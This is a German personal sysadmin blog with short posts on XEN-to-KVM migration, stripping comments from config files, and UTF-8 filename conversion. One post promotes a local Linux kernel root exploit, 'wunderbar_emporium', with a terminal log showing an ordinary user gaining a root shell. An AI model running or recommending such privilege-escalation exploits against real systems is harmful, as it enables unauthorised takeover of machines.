Migration virtueller Maschinen von XEN zu KVM

Die Migration virtueller Maschinen von XEN zu KVM ist einfacher als ich es zuerst befuerchtet hatte. Das Hauptarbeit liegt darin die *.img Dateien umzuwandeln. Waehrend XEN fuer jede Partition eine Imagedatei anlegt (z.B. disk.img, swap.img etc.) speichert KVM die komplette Maschine in einem Image.  Weiter hat jede Maschine in KVM seinen eigenen kompletten Kernel. Die Aufgaben sind kurz zusammengefasst:

  • Installation von grub und Kernel in der XEN-Maschine
  • Erstellen einer neuen KVM Imagedatei
  • Partitionierung der KVM Imagedatei, kopieren der XEN Imagedatei(en)  in die neue KVM Imagedatei
  • Installation von grub in der KVM Imagedatei
  • Anlegen einer neuen Maschine in KVM und einbinden der frisch erstellten KVM Imagedatei in die neue Maschine

Diese Schritte sind alle beschrieben in dem Blogpost XEN to KVM Migration auf SirPing’s blog. Ich habe die Migration von 4 Maschinen erfolgreich nach der Anleitung durchgefuehrt. Da der Blog zur Zeit nur aus einem einzigen Post besteht, und dieser auch inzwischen ein knappes Jahr alt ist ist, habe ich zur Sicherheit den Beitrag hier nochmal als PDF angehaengt.

.conf Dateien posten

Immer wieder, immer wieder und immer wieder rege ich mich darueber auf, dass wenn man im Internet config Dateien findet, diese nur so vor Kommentaren strotzen. Es ist zwar nett fuer den User, aber wenn ich was suche, moechte ich _nur_ die relevanten Informationen, genauso handhabe ich es doch auch, deswegen mal eben hier fuer alle:

sed -n ‚/^[^#]/p‘ < filename

local root exploit fuer alle linux kernel seit 2001

Es gibt einen neuen local root exploit fuer den Linux Kernel fuer alle 2.4er und 2.6er Kernel seit 2001. Funktioniert ganz wunderbar hier und ueberall, einfach wunderbar_emporium herunterladen und ausfuehren und siehe selbst:

jan@scherge:~/wunderbar_emporium$ id
uid=1003(jan) gid=1003(jan) Gruppen=114(wheel),1003(jan),1004(userbet)
jan@scherge:~/wunderbar_emporium$ ./wunderbar_emporium.sh 
 [+] MAPPED ZERO PAGE!
 [+] Resolved sel_read_enforce to 0xffffffff802f334a
 [+] got ring0!
 [+] detected 2.6 style 4k stacks
sh: mplayer: command not found
 [+] Disabled security of : nothing, what an insecure machine!
 [+] Got root!
sh-3.1# id
uid=0(root) gid=0(root) Gruppen=114(wheel),1003(jan),1004(userbet)
sh-3.1#

Linux und Zeichensaetze

sind schon extremst doof finde ich… Ich stelle nach und nach alles auf UTF-8 um so wie ich es kann, und selbst dann rennt man in Probleme. Dateinamen ins richtige Format bringen kann man mit convmv. Mir hilft gerade folgendes weiter:

convmv -f iso-8859-15 -t utf-8 –notest -r .